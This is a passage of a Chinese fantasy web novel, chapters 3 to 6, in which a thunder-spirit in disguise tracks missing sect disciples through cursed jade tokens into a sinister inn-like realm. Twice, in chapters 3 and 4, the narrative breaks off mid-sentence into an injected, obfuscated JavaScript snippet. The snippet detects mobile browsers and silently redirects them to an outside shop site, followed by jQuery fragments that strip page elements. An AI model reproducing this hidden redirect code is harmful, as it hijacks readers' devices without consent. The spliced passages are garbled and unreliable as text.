《等我满级把你们都劈了》 3. 第三章 钟默是个说做就做的性子,当晚就风风火火地出发,临行前为方便行事,还特意请秋月帮她加了一层幻术,改头换貌,搞了个芳菲谷支门弟子的装扮。 弄完就走了。完全没把支门那一堆大张旗鼓的防御结界放在眼里。 剩下秋月一人,战战兢兢,连夜赶了个钟默仿妆,又揣摩了好久钟默的风格习惯,生怕自己模仿不到位给娘娘添了麻烦,一夜都没敢睡。 转眼到了第二天,她才意识到,自己似乎多虑了。 大半天过去,除了个别路过的年轻弟子,钟默这屋就没见有活人来过。 只有一些役灵,会过来送饭或问候。 按说她的幻术对它们也该是起效的,但不知为何,它们总能在长久的歪头后看穿她并非钟默的事实,然后很遗憾地低头叹气,问她:“那娘娘还会回来吗?” ……对此,秋月只能归因于自己修为还是太浅,无法仿出造化娘娘的光辉万千。 “会回来的会回来的。”看着眼前两个偷偷跑来给钟默送花的小役灵,秋月不知第几次重复这句话,“放心,造化娘娘只是出去找人,肯定还会回来的……” “真的吗?”原本还在垂眼难过的小役灵们闻言又振奋起来,开开心心地将带来的花插到瓶子里。 秋月好笑地看着它们飘来飘去,随口道:“你们倒是都很喜欢钟默娘娘啊,不会害怕吗?” 毕竟是天雷化灵,自带威慑。她刚与钟默打照面的时候,可是腿都软了,全靠一身演技支撑。 不过也有可能是因为她是狐狸——野兽与草木所化的灵裔,似乎天生就是会更怕雷霆一些。 “怕还是有点怕的。”却听一个小役灵认真道,“但娘娘好。允许我们待在她旁边,很舒服。还说我们是小朋友,总是给我们糖……” “糖?”秋月挑眉。 待在钟默身边会舒服,这很好理解。造化之灵,自带正法,四舍五入就相当于一个行走的、永不枯竭的灵力源,若得恩准待在其周围,不说修炼了,光是呼吸都能比平常舒服些;但居然还有糖? 看来这位娘娘面上冷冰冰,实际还挺喜欢小孩的…… 秋月胡乱想着,默默更新了自己的扮演笔记;却听另一个的役灵突然出声,口齿相对要清楚很多: “您刚才说,娘娘是出去找人了?是去找谁呀?郁清和吗?” 秋月看它一眼,想想它们也没法乱说话,遂点了点头。 于是那役灵恍然大悟地也一点头:“所以娘娘是去明泽抓奸了。娘娘真厉害。” “嗯,对,是去明……等等,什么抓奸?”秋月猛地反应过来,反手敲了下役灵脑袋,“小孩子不要学人乱说话,像话吗!” “诶,不是吗?”役灵痛觉迟钝,被敲了下也没啥感觉,只呆呆摸着头,“可我听那些人说,‘郁清和前脚刚到明泽,后脚他同门的苏若桃就也要去,世上哪有那么巧的事?他俩必定有……’” “瞎扯!”秋月又敲一下,“不许传谣,别活得跟人似的!” 那役灵啊了一声,捂着脑袋,乖乖地不说话了。 秋月收回手,眸光转动,却忍不住撇了撇嘴。 苏若桃。这人她倒也听过。 芳菲谷本宗的二师姐,主修灵疗,医术无双,江湖人称玉棠天巧,也确实有人觉得她与郁清和青梅竹马,十分般配…… 她居然也去明泽了? 想起郁清和严词拒婚的事,秋月心里也有点打鼓了,转头对上旁边那俩小役灵的水汪大眼,忙又故作镇定地摆摆手: “别多想,总之这种话不要乱传,要是传错了你给人道歉吗?再说,谁说娘娘去明泽,她在明桥村!离明泽远着呢,别瞎琢磨。” 这句倒是实话。 ……虽然实得不完全。 郁清和日前正在明泽城除异,这是她来之前就打听到的事,钟默自然也清楚。 然而明泽是出了名的灵修大城,城内修灵者齐聚,防御设施也是一等一的强,城内哪怕是个客栈都层层结界、外灵莫入,即使钟默能够调遣其他灵裔帮助自己,要找人还是相当麻烦的。 一个不慎,还容易暴露。 况且娘娘自己也说了,她有一点不认路。于是秋月就给她出了个主意,建议她先去一趟支门附近的明桥村。 映秋月来支门前刚巧从那路过,知道有一批芳菲谷的本宗弟子正在那儿停留,似乎是要处理什么事。 本宗弟子手上,都有一种叫做踪丝的东西。用它可以轻易锁定其他任何同门的位置。若是先拿到踪丝,再去明泽城找人,自然事半功倍。 ……就是不知那些本宗弟子现在是否还在村里。若是不在,娘娘怕又要费一番功夫…… 还有那苏若桃——怎么这芳菲谷一个两个的,都往明泽赶呢? 秋月思绪不觉又飘远,另一个役灵却似想到什么,啊了一声。 “明桥村?我知道我知道,好巧,刚听过。” 秋月看它一眼,心里忽然一咯噔:“刚听过?什么时候?” “就今早。给主事送茶的时候。”那役灵偏着脑袋,认真道,“主事还在因为失火的事生气。进来一个人,拿着只木头鸟,和他说悄悄话。主事听完,就很生气地大声说—— “‘明桥村的本宗弟子失踪了?关我什么事!我忙着帮他们照顾太子妃呢!什么好事都想不到支门,需要求助了才想起来是吧? “‘你去把那封求助信转给本宗,就说我们支门昨日刚受大妖袭击,损失惨重,爱莫能助……’” 在秋月逐渐愕然的目光中,小役灵大声模仿着孟主事当时的语气: “‘这事管不了,让他们自己派人去救吧!’” * “……?” 同一时间。 明桥村郊外林中。 穿着芳菲谷支门弟子服的钟默微微蹙眉,语速缓慢:“所以说,真就都失踪了?” “嗯嗯!”“对的对的!”“可不是——” 面前一群小精怪蹦蹦跳跳,回答得那叫一个争先恐后,吵得钟默头有点大。 再看看不远处的村牌坊,更是无奈。 天晓得,她本来昨天晚上就该到这儿了——谁能想到稀里糊涂跑错了方向,窜到了八百里外的另一个村子。随机吓死了一个正在村口徘徊的恶鬼又懵懂懂离开,绕着几个山头转了不知多久,才总算是在好心灵裔的指点下,找到了正确的位置。 结果来了才知道,自己好死不死来晚一步,就在昨晚,所有暂住明桥村的本宗弟子全军覆没,有一个算一个,都失踪了。 “行行行都别吵了。”眼见那群小精怪还在叽叽喳喳,她连忙叫停,目光一扫,指了个长得最好看的,“你,就你。好好说,从头说。” 那竹笋模样的精怪骄傲地将自己拔高一寸,嘚瑟地看了眼两边,这才矮身道: “回娘娘,那些本宗弟子,都是四日前来到村子的。据说本来是要去明泽和人汇合,但骑的木鹞子不知咋的出了问题,就在村里停了下来……” 巧合的是,就是这两天,村里突然出了怪事——连着两个独居老汉都被杀人分尸,骨头炖到了锅里,还都丢了头,死活找不到。 “可吓人了,那两天我们都不敢进村。”旁边一个小精怪忍不住插口,“还好那些人还算厉害,没多久就把杀人的坏蛋抓到啦!” “对的对的。”旁边精怪不甘示弱道,“但抓完了,又说这俩人死得怪,还丢了头,怕要也变鬼害人,就特意留下,说要帮村子把死人头找到再走……” 懂了。所以才会被映秋月遇到。 钟默了然,想想又有些怪:“全留下了?他们不是急着去明泽城吗?” “这个我知道我知道。”一个萝卜积极举手,“我那天去客栈厨房找我相好,正好听到掌柜问他们这事呢!” “他们怎么说来着……哦,他们说明泽那边还有其他同门在,他们不去也行,比起来,村子这边更急一些。” “哦。”钟默点头,“然后呢?” “然后……” 几个小精怪面面相觑,不约而同地压低了声音: “然后,他们开始少人啦。” 最开始是两天前,一个小师弟出去找死人头,一直没有回来。后来其他人去找,只找回来一块遗落的玉牌。 第二天,又一个师妹出门后不见了,除了随身玉牌啥也没留下。而就在当晚,管事的师姐也莫名消失了。 最怪的是,那天晚上,根本没人看到她离开房间。 最后就是今天早上—— 剩下两个修灵者都没再走出房门,只有一只传讯木鸟,被瞧见半夜从打开的窗口飞出去。 钟默:“……” “所以说,虽然他们人没了,但可能有留下东西,对吧?”短暂的沉默后,她完美地找到了重点,“你们之前说,他们住哪家客栈来着?” 笑话。人失不失踪关她什么事。她是来找踪丝的,又不是来找人的。 “就村头那家,村里就一家客栈!”很快便有小精怪抢着应了她的话,“他们住二楼西边最里面几间!我看见过!” “看见啥啊,他们都是修灵者,你都近不了身。瞎吹。” “我真看见了!昨天我去树上找虫吃,就在他们窗外呢!还听到他们吵架了,可凶的!” “吵架?这种时候?”钟默挑眉,“不愧是人啊。真能折腾。” 她也就是感叹一句,对他们吵架的内容倒没多感兴趣。那精怪却认真道: “我也觉得怪呢,就偷偷听了听,具体也没太懂,但好像……是在吵该向谁求助的事。 “其中一个说该向本宗发求助信,但另一位觉得不妥。他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119697|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时还说啥来着…… “对对,想起来了——他说,‘现在本宗也是多事之秋,明泽那边乱成一团,连大师兄都生死未卜,就算发信,谁顾得上我们!’” “……?” 钟默脸色微微一变。 “大师兄?郁清和?你确定?”她微微提高音量,“他怎么了?” “这……我就不清楚了。”那精怪被吓一跳,声音瞬间小下去,语气却是笃定,“但我确定,他们说的,就是大师兄。” 它本是鹩哥化灵,在学人说话方面得天独厚,记忆里也是出奇得好,不可能记错的。 钟默:“……” 钟默:“……废物。” 钟默:“……别误会,我不是说你。我说生死未卜的那个。” 事情似乎有点严重了。毕竟郁清和要是死了,她也会很难办。 钟默也没了继续逗留的心思,手腕一翻,掌间多出好几枚光芒闪闪的小圆球: “一人一颗,拿去分了吧。别抢啊。” 在修灵者间有市无价的灵力结晶,被她当做糖豆般送出去。完事见还剩一颗,随手塞进自己嘴里,冲着欢呼雀跃的小精怪们随意一摆手,转身便朝村里走去。 村头东边客栈,二楼西边房间。或许是因为怕事,那几间修灵者住过的房间都好好保留着,钟默也懒得和人说话,找了个合适的窗户,直接翻了进去。 转眼就将最外面几间房扫完。除了一个小包袱外,什么都没找到。 包袱里也没她想要的踪丝。只塞着一堆杂物——两只用来传信的小木鸟、一块空白的玉牌、一卷红色的丝线、一些包装精致的胭脂、首饰…… 还有封信,字只占了一半纸,估计是没写完。钟默识字不多,一眼望过去,只看见什么“君心”、“明月”、“山木有枝”…… 显然不是什么有用的东西,默默塞回去。转身进了最后一间房,钟默略一停顿,轻轻叹了口气。 “我说,你到底要干嘛。”她转头看向身后,语气难得带了几分温和,“问你话,你不说。给你糖,也不吃。说不理我吧,又巴巴一路跟我到这里……” 她蹲下身,望着空荡荡的门框:“来都来了,不打算聊聊吗。” “……” 回应她的,只有一阵沉默。 片刻后,方听一阵窸窣声响。 门框的后面,有什么悄悄探了出来。 那是一个小人。 约莫巴掌大小的,外貌肖似人族少女的小人。 眉眼精致、粉雕玉砌,穿着层层叠叠花瓣般的裙子,活脱脱一个漂亮娃娃,虽然脸上身上都沾了不少泥灰,仍可看得出精致。 那小人低垂着眼睛,像是不敢直视钟默,怀里则紧紧抱着个小包裹。钟默耐心地望着她,又重复问了一遍,方听她嗫嚅道:“能不能……请……救救……” 钟默:“?” 漂亮娃娃终于怯怯抬眼:“娘亲,没了。求帮帮。” 钟默:“……” 她视线扫过对方凌乱但明显是被精心打理过的发髻,又瞟了瞟对方的裙子,心中了然。 最开始注意到这小娃娃,是在她找精怪们问话的时候。别的精怪都活泼热情,就她安安静静站在角落,给了灵力糖也不要。当时钟默就觉得奇怪,现在再看…… “你说的娘亲,就是养你的修灵者吧。”钟默认真,“不好意思,人的死活,我不管。” 她现在还没成为灭世大魔头,是她不想吗?不杀人已经算她自律了,还跑去救,她闲得吗? 况且郁清和那边也出事了,说起来那家伙还比较重要,就算真要救,她也该直接去救那个…… “可是,那个,衣服,一样的!”那小娃娃登时急了,仰起头细声细气地叫了两声,见钟默仍没改变主意的样子,吸吸鼻子,干脆放下怀里包裹,一撩裙摆,直接跪了下去。 钟默面无表情,用一根指头把她戳了起来。小人站也站不稳,吓得赶紧抱住钟默手指,眼帘一垂,终于再绷不住,泪珠不要钱似地一颗颗砸下来。 钟默:“……” ……罢了罢了就当哄小孩了,去他的郁清和,死就死了吧,大不了十几年后她再托人找一次。多大事。 打定主意,钟默终于伸手,将挂在自己指头上的小人拿了下来。 “所以你娘谁啊,怎么没的?”她问,“你详……算了看你这样估计也详不到哪儿去。” 她看向小人放在旁边的包裹:“这是养你的人留下的?” 小人立刻点头,忙不迭地将包裹递到钟默手里,又认真指了指她的衣服:“一样的。和娘亲一样的。” “?”似是意识到什么,钟默眉头微蹙,赶紧解开包裹,只见里面包着的竟是一块身份玉牌。 上面清清楚楚六个大字: 【芳菲谷苏若桃】 4.第四章 苏若桃这名字,钟默其实有些印象。 她是天雷化灵,能力自然以雷霆为主,但除此之外,调风遣雨的本事也略有一些。住在支门时,没少利用清风去搜集门内的情报。 只可惜,有用的情报没搜集到几个,倒是听了不少风送回来的闲言碎语。 苏若桃的名字,应该就是那时听到的。只是钟默没放心上——她心里清楚,自己脑子本来就不聪明,更要省着用,不能什么没用的东西都往里放。会炸的。 也因此,再次接触到这名字,她也只是淡淡看了眼,很快便移开目光。 相比起来,她更在意这块玉牌本身。 芳菲谷本宗弟子才会有的弟子身份牌,和她之前发现的空白玉牌是一样的材质,触手却能明显感觉到多了不少灵气。显是被人提前封入了灵力。 不仅如此,在玉牌的背面、侧边,还都刻有精致的咒纹。每一面都似乎代表着不同的效果。 钟默不通咒文,研究好一会儿,又试着往里面灌注了些自己的灵力,总算判断出个大概的用法—— 玉牌内部预存有灵力,顶部的咒纹就是用来保护和封印的。侧边的两道咒纹则可算作是触发装置,使用者从这里将自己的灵力注入,就能与玉牌内部储存的力量建立联系,进而对其进行调用,用来触发刻在玉牌背面的攻击性咒纹。 简单来说,就是一个可以用来救急的随身法器。 “做得倒是挺用心的。”钟默一边端详一边咕哝,目光转向旁边:“说起来,你之前说,养你的那个人消失时,手里正拿着这个?” “嗯嗯。”坐在桌子上的小人忙不迭点头——她原本是站在地上的。钟默怕她一直仰着头对脖子不好,顺手就把她给拎上来了。 她还太小,说话都说不清楚。即使如此,还是尽可能地描述着当时的情况:“有人,没了。娘亲拿他牌牌,说它,好像不好,要砸。就拿自己的牌牌……” “哦。”钟默恍然,转头看向手里的玉牌,“所以她是要拿自己的玉牌,去破坏别人的?这么麻烦?” “娘亲说,牌牌硬。”小人正色,“厉害人做的,邦邦的。不这样,不开……” 话音未落,咔哒一声。 钟默将玉牌放回桌上。只见那上面已然裂开了一道缝隙。 裂缝的边缘黑黢黢的,一片焦黑,上面还冒着烟。 啊……开了。 诶?开了?? 小人迷茫眨眼,微微张开了嘴。 钟默没在意她的呆滞,只抬手将她往后推了推。盯着那裂开的玉牌看了片刻,似又注意到什么,再次覆手上去,掌间霹雳闪烁,愣是将那缝隙又扩大了些—— 这下,连那五感迟钝的小人都看到了。 玉牌裂开的缝隙间,一股股黑烟般的东西,正如蛇般往外窜。 钟默抓了一缕拿到掌间,观察片刻,恍然大悟。 她见过这个。 这是咒。一种能用来呼唤与连接异域空间的咒。 符与咒是人族的专长,照理说她其实并不擅长。但好巧不巧,她在被人得罪那会儿,曾见那些家伙用过类似的咒术。这股气息,她再熟悉不过了。 只需要合适的媒介,就能直接打开一个空间缝隙,让人从一个地方,瞬间跨到另一个指定地点,不论相隔有多远,不论那地方,是否还在世俗意义的“人间”。 即使她很不喜欢,也不得不承认,这实在是个讨巧的设计。 ……也就是说,那些芳菲谷的弟子,根本就不是失踪。 而是他们的玉牌被人动过手脚,种上了这种咒术。 咒渗入玉牌,与封在里面的灵力混在一起。因为玉牌本身自带的众多咒纹,反而不容易被察觉。然而一旦朝着玉牌灌注力量,试图使用玉牌,那咒就会自动启动,打开关联的通道,将他们直接引到另一个空间里去。 ……但这就又有些奇怪了。 玉牌是跟着人走的,触发时必定被人带在身上。那些芳菲谷弟子消失时,又怎么会留下身上的玉牌? 还有,自己刚刚明明也往里灌注过灵力,这咒为何又没有反应? 不仅如此,还有一个最重要的问题——这层咒,到底是谁施的?又是怎么做到让每个弟子的玉牌上,都有咒术的? 钟默忍不住拧了拧眉。 片刻后,眼神微微一闪,又猛地起身,在小人愕然的目光中快步走出了房间。 “啊……”给人孩子吓得,眼眶瞬间又湿了。张口想要叫钟默,又怕她觉得烦,纠结片刻,索性自己一路小跑到桌沿,抽噎着提起裙摆就要往下爬——谁想还没伸腿呢,又被人提着衣领拎起来。 “急什么。说了帮你就会帮你,还怕我跑了不成。” 钟默冷冷说着,将她又放回桌上。后者无声抽噎一下,这才注意到钟默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125947|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里多了个包袱。 正是她之前在隔壁发现的那个。 钟默记得清楚,那包袱里有一块空白的玉牌。材质和弟子玉牌是一模一样的。 她将包袱打开,拿出那块玉牌,与苏若桃的弟子牌放在一起。又试着往里面也灌了些灵力。 才刚注入,果见苏若桃弟子牌里又窜出一缕细细的黑气,悄无声息地朝着那块空白玉牌蔓延了过去。不过眨眼,就钻入其中。 哈,果然——钟默眉毛微微一挑。 这样看来,这个咒还怪厉害的。 或者说,做这个咒的人,怪厉害的。 他不仅想出了以玉牌为媒介这个绝妙的点子,为了避免暴露,还很细心地给这咒加了诸多限制。 比如一块玉牌上的咒只能触发一次,再比如,当附近出现符合条件的媒介时,这咒会自动苏醒和传播…… 所以每次有人失踪,玉牌总会被留下来。因为这是必要的传播源头。也难怪苏若桃明明已经察觉到了他人玉牌有问题,却还是中招被带走——她应该也没想到,自己随身佩戴的弟子牌,也早就已经被污染了。 ……就是不知道,这种目的明确的捕猎计划,是单单只针对明桥村的弟子呢,还是别处的芳菲谷弟子也都有? 不管怎样,这是个人才。她欣赏。 钟默发自内心地赞叹着,再次拿起那块空白玉牌。 灵力又一次被注入。这回,那咒终于有反应了。 平地风起,空间出现略微的扭曲。静默的结界瞬间张起,将整个房间包裹其中,下一瞬,只听呲啦一声,面前的虚空竟无端破开一道裂缝。 一只焦黑的手从裂缝里探出,在小人的尖叫声中,一把抓向钟默的胳膊! 抓到你了。钟默听见他轻声道。 声音很好听,但也很冷。话语间似还带着冷笑。空间缝隙张得更开,里面传出刺耳的尖啸。 ……然而下一瞬,似是意识到什么,那尖啸声忽然停了。 紧跟着,男人悦耳的低笑也停了。 抓着钟默的那手默不作声地松开。若无其事地用手指擦擦掌间的冷汗,开始悄悄后撤。 可惜已经晚了。 只听啪的一声,那只黑色的手反被抓住,生生拽了回去。 “这手不挺好看的吗,干嘛涂这么黑。”钟默漫不经心地说着,缓缓抬眼,“还有,我说让你走了吗?” 5.第五章 苏若桃觉得,现在的自己,多半正躲藏在某个桌子的下面。 之所以用“多半”,是因为她也没法确定。一来,这地方实在太乱了,又太过昏暗,二来,她现在也没那工夫去细加分辨。 不远处有沉重的脚步声传来,伴随着铁链刺耳的声响。她抿紧唇角,无声摸了摸自己的肩膀——那里的伤口已经愈合,被划破的衣服却没有修复,破损处还糊着干涸的血液,摸着有些扎手。 那脚步声似又靠近了些。她收回手,转而握住了剑柄。 对于自己的处境,苏若桃至今仍有些茫然。她现在唯一能确定的是,自己所在的,像是个客栈,空无一人的客栈——没有掌柜、没有住客、没有其他任何人。 唯一的活人,只有她自己。 客栈内总是昏暗的,所有门窗都被封死,仅从各处的缝隙间漏进来一些些微的光线。她是修灵者,照理说在无需光线也能视物如白昼,但不知为何,在这儿她的目力却大打折扣,明明已经身处黑暗许久,看东西却仍十分吃力,几乎如同盲人。 想要看清,必须要照明。她刚进来时还虎头虎脑地捏灵决照路,结果吃了不小的苦头,差点被窜出的邪物砍掉脑袋。后面学乖了,不再轻易外泄灵力,只用普通的烛火照明,但这带来新的问题—— 她自己没有火折子。她已经很久都不用那东西了。只能设法在客栈里面找蜡烛。但这地方真的太乱了……哪儿哪儿都乱。 二楼的房间也好,她现在所在的大堂也好,全都乱成一团,桌椅破碎,四处狼藉,像是曾有无数的人在这里打过无数的架。有时还会在地上看到惨死的动物尸体,等再回去,却又看不到了,只剩一点皮毛骨肉,被干掉的血迹粘在地上。 若只是这样,也就算了。 更糟糕的是,这里还有邪物。 修灵者一般不用“邪物”这个词。他们分的很清楚,非人的东西,都是灵裔,也叫妖异。人死后变的叫鬼灵,动物变的叫兽妖,生在野外没人管的叫荒生野灵……她自己还养呢,小小一个,可可爱了。 “邪物”这个词,只会出现在人还什么都不懂的时候。只会被用来称呼那些他们无法理解却惧怕的东西。 ……而现在,除了邪物,苏若桃也不知道该用什么词了。 黑暗中,那脚步声又响起了。锁链摇晃碰撞的声音听得人牙齿发酸。苏若桃心跳如擂鼓,默算着那脚步与自己的距离,死死握紧剑柄。 外面那东西,就是徘徊在此的邪物。 苏若桃搞不清那到底是什么,只知道它曾两次差点杀了自己。她到现在都没能探遍整间客栈,很大程度上,也是因为这邪物的存在——它对各种动静,都太敏感了。 她盘算很久,才终于找到机会,靠着潜行的术法,一路悄悄潜到这个位置,距离大门只有一步之遥;偏偏这个时候,那邪物又出现了…… 脚步声已经近在咫尺。苏若桃克制地吸气。 很快,那脚步更近了。几乎是贴着她的旁边过去。苏若桃大气都不敢出,眼睁睁地看着一双绝对不属于人类的脚出现在视野里,又渐渐走远。 视野狭窄,除了脚她能看到的也就是腿——如果那双扭曲柱子般的东西也能称为腿的话。 ……躲、躲过去了? 眼看着那双腿越走越远,苏若桃心中腾起难得的希望。 却见那腿又忽然停了下来。 紧跟着,又轻轻转动起来。一双脚没动,两条腿自己翻了个面。 换言之,原本是膝盖窝朝着苏若桃的,现在变成膝盖了。但这不是重点——重点是,借着门缝里透进来的光,苏若桃刚巧能看清楚。 其中一条腿上,有一张脸。一张人脸。 那五官模糊的人脸,正静静望着她。 苏若桃:“……” 没有一息的犹豫,她猛地往前一窜。下一瞬,只听一声巨响,方才的藏身之处,已然被砸成两半! 来不及庆幸,苏若桃赶紧跃起,一手持剑护身,另一手飞快捏了个缚身决,企图能拖慢对方一点。灵决才成,破空声起,她慌忙扬剑,咚的一声,险险架住一击,半边身子都快麻掉。 打什么打,打不了半点——她在心里尖叫,搞什么,老娘学医的啊! 好在方才的缚身决起了效果,对面邪物动作明显滞涩。苏若桃趁机将剑荡开,提气往楼上跳去。可惜黑暗之中操作失误,落在二楼走廊的时候明显感到脚下踩到了什么,脚腕一阵剧痛。 她慌忙低头,手掌按向脚踝。才刚抢修完毕,却又听一阵破风声起——那邪物已经追上来了! 要死。苏若桃往后一靠,这才发现身后是墙壁。走廊狭窄,她根本没地方躲。 这回可能真完了。 她心头一沉,本能地转头。 果然邪物的阴影已出现在她的身侧。 类似于手的前肢刚刚扬起,带起一阵带着腥味的风。 ……而就在苏若桃开始飞快思考怎么躲才能最大程度减少损伤时,她忽然又听到一个声音。 吱呀一声。像是开门。 再下一瞬。咚的一声。 刚才还站在那儿的邪物突然就不见了。没了。 站的地方空空荡荡。旁边的栏杆却破出了一个大洞。苏若桃懵懂眨眼,收回目光,这才注意到,距离自己最近的那个房间,不知何时打开了。 不仅打开,里面还伸出了一只脚。脚跟对着的,正是邪物之前所站的地方。 “……什么玩意儿。怎么还堵门呢。” 在她愕然的目光中,那脚又收了回去。一个年轻的女声旋即响起,一道身影缓缓从门里走了出来。 女的、活的、年纪不大。 手上还倒提着只黑色的断手。 * “……芳菲谷苏若桃,多谢师妹救命之恩。” 不久后,同样的走廊,同样的地方。 苏若桃提剑警惕了好一会儿,直到确定周遭再没那邪物的动静,方长出口气,点亮烛火,转向那刚走出门的女子,认真抱拳道谢: “师妹神武,令人叹服。救命之恩,没齿难忘。” “哦,好。”相比起她的正式,那位“师妹”却像是有些心不在焉,随意回了一句,目光仍不住扫向四周。 苏若桃只当她在警惕,也没当回事,侧头看了看肩膀,又轻轻一笑: “也谢谢你帮我照顾我的小桃宝。她太小了,我还担心她出事呢。” 她肩膀上,穿着花裙的漂亮小人正端正跪坐,低头拭泪。闻言登时连连点头,朝着对面人双手合十,不住摇摆,就差没磕头了。 “嗯……” 听到这话,钟默这才收回东张西望的目光。瞟了眼还在拼命冲她拜拜的小人,无声叹了口气。 “别谢。要谢谢她。她求我来找你的。”钟默道,“而且,她本来也不该过来……” 说起来,这事还有自己一半责任。 钟默有些无奈地想着,甩着手里的断手,看向身后的房间——也就是她方才“降落”的位置。 和苏若桃不同,这地方没法压制她的目力,黑暗之中,她依旧看得清清楚楚。 只见客房里一片凌乱,地上却多了几件明显不属于这儿的物件。 小木鸟、红色的线团、那封她看不懂的信纸……甚至还有些桌子椅子。 全是她先前所在房间里的东西。 ——简单来说,就是她“进来”之前,和那抓人的黑手起了些争执。对方无论如何都不肯让她进来,她则无论如何都要进来。为了拦她,对方甚至不惜自断一臂,她又没什么耐心,见那通道入口快要关闭,索性直接冲上去撕,谁想一不小心,就将入口撕得大了些…… 那入口还有些吸力。一来二去,不仅她进来了,原来房间里的东西,也被吸进来了。 那小人自然也在其中——她倒是挺开心,前脚刚落地,后脚就哒哒地往外跑。看到苏若桃,不意外地又是一通大哭。 思及此处,钟默目光又转到了苏若桃身上。 瞧着有些狼狈,身上不少干涸血迹,灵力也接近枯竭,精神状态倒还不错,也没什么伤。 可以,瞧着还能活的样子。钟默暗自点头。 脑子也还清楚。一见面就要问自己的师门和名字,又打听自己是如何进来的。问得可细。 钟默脸都是假的,当然没打算用真名,随口胡诌了个“初音”,至于师承,干脆报了孟主事的名字,怕对方不清楚,还特意强调了句“就是忙着帮你们养太子妃的那个——嗯,对,这话我师父他自己说的。他总这么说。” 至于来的原因,反正也没撒谎的必要,就照实说了,只道自己是偶然路过明桥村,正好遇到小桃宝求助,就顺着调查起来。最后借着他人的空白玉牌,顺利闯了进来。 ……当然,劈开玉牌的事也不能认下。钟默左思右想,也想不出这锅究竟该推给谁,索性就装不知道了。 “说起来,我之前就很想问了。”又是片刻的沉默,苏若桃尴尬开口,看 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“怪事。”苏若桃用指尖摸摸肩上小人的脸,抬眼看向四周,语气越发沉重,“我一直困在这儿,从没见过其他人。” “没试图出去过?”钟默问。 “怎么可能。”苏若桃诧异看她一眼,“出不去而已。” “所有窗户都打不开。大门我没试过,大堂有机关,有时还有邪物徘徊……” “邪物?”钟默平静侧头,“就刚才堵门的那个?” 苏若桃:对,就刚才被你踹飞的那个。 “多亏你来……我真打不过它。”苏若桃叹气,“那邪物也奇怪,时而在时而不在的,我曾冒险在它身上下了一道求助符,只要它出去,那符就会自动起效。然而直到现在,那符都没有触发过……” 也就是说,那邪物也从来没有离开过这空间。也它不在这客栈时,究竟是去了哪里。 “是吗?”钟默语气平平地反问一句,似是注意到什么,突然蹲下了身。 “怎么了?”苏若桃怕她看不清,将蜡烛凑近了些,这才发现,对方原来是在观察那邪物被踹飞时撞断的栏杆。 钟默没回答,只伸手在上面轻轻抹了下,又凑到鼻前闻了闻,嫌弃地咦了一下,又哦了一声。 “原来如此。”她说着,在栏杆上擦了擦手,“看来这地方,还真像个客栈。” ……? 苏若桃不解皱眉。 若说单看布置,这里确实像个客栈。但她本能觉得钟默不是这个意思:“你是说……” “这里,有血。”钟默指了指断裂的栏杆,“还有这儿,白的,看到没?” 苏若桃凑近细看,还真有:“这是……” “脑浆。人的。很新鲜。”钟默道,“血也是人血。” 应该是那怪物掉下去时蹭到的。 “……”苏若桃手里的烛光抖动了一下,“所以?” “没什么好所以的,很明显了。”钟默道,“你衣服上的血迹已干,说明这地方的时间是流动的。但那东西身上的人血和脑浆却新鲜。唯一的解释就是,它不久前刚杀了人。没准儿还不止一个。” “而且你自己也说,那东西时在,时不在,可你的求助符却显示,它从没去过外面,说明它就是在这空间里杀的人……只是你看不见。” ——看来这地方,还真像个客栈。 刚听过的话再次浮上脑海,苏若桃缓缓转向那断裂的栏杆,终于隐隐明白钟默的意思了: “你是说,这个空间其实被分割成了很多不同的区域,就像客栈一样……” “没错。”钟默点头,“我们只占了其中一个房间。在我们看不到的地方,还有很多其他的房间。” “而那些房间里,很有可能,都是你的同门。” * 同一时间,另一片相似的黑暗中。 剑光闪过,碎裂声起。晦暗之间,似是有什么轰然崩塌。 持剑的人提气急退,精准地避开眼前倒下的庞然大物,剑尖轻点,污血甩落。 他似乎已接近力竭,胸口微微起伏。汗水顺着下颌流到颈部,又逐渐没入衣领。 “大师兄!”旁边有人立刻低呼一声,似是想赶过来。很快却又被人喝住。 “稳住,别乱动。”郁清和神情不变,微微抬眼,警惕扫向四周。 “没杀完。类似的东西,这里还有。 “都退回结界里,等我信号再出来。” 6.第六章 郁清和算得清楚,从进这鬼地方到现在,不多不少,刚好三天。 大概七日前,他独自出谷办事,事刚办完就得知自己那位“命定之人”已被找到,立刻打消了回芳菲谷的念头。一边在外揭榜除灵,一边向恩师连续修书请罪,明确表达了自己拒婚的意愿,只可惜,事与愿违。 师尊不仅搬出谷主的名头,严令他立刻返回师门,更派出了不少同门来寻。郁清和得知此事时,人正在明泽城除灵,二话不说就准备接着逃——谁想还没出城,就得知明泽城内出大事了。 明泽城一客栈内,连续多人身中恶咒,原因未知,症状惨烈,生不如死。 但凡有点良心的修士,都不会在此时袖手旁观。 郁清和当即改变主意,留下调查,正好来寻他的同门也到了明泽,便直接被他抓了壮丁。又因他本身对恶咒一术并不擅长,故又特意写信给自家师妹苏若桃,想将她请来帮忙…… 不想从那之后,事情的走向便越发诡异。 先是师妹来信,告知路遇变故,无法及时到达;客栈内身中恶咒的旅人,又齐齐暴毙而亡。处理尸首时,却发现尸体都没了头。 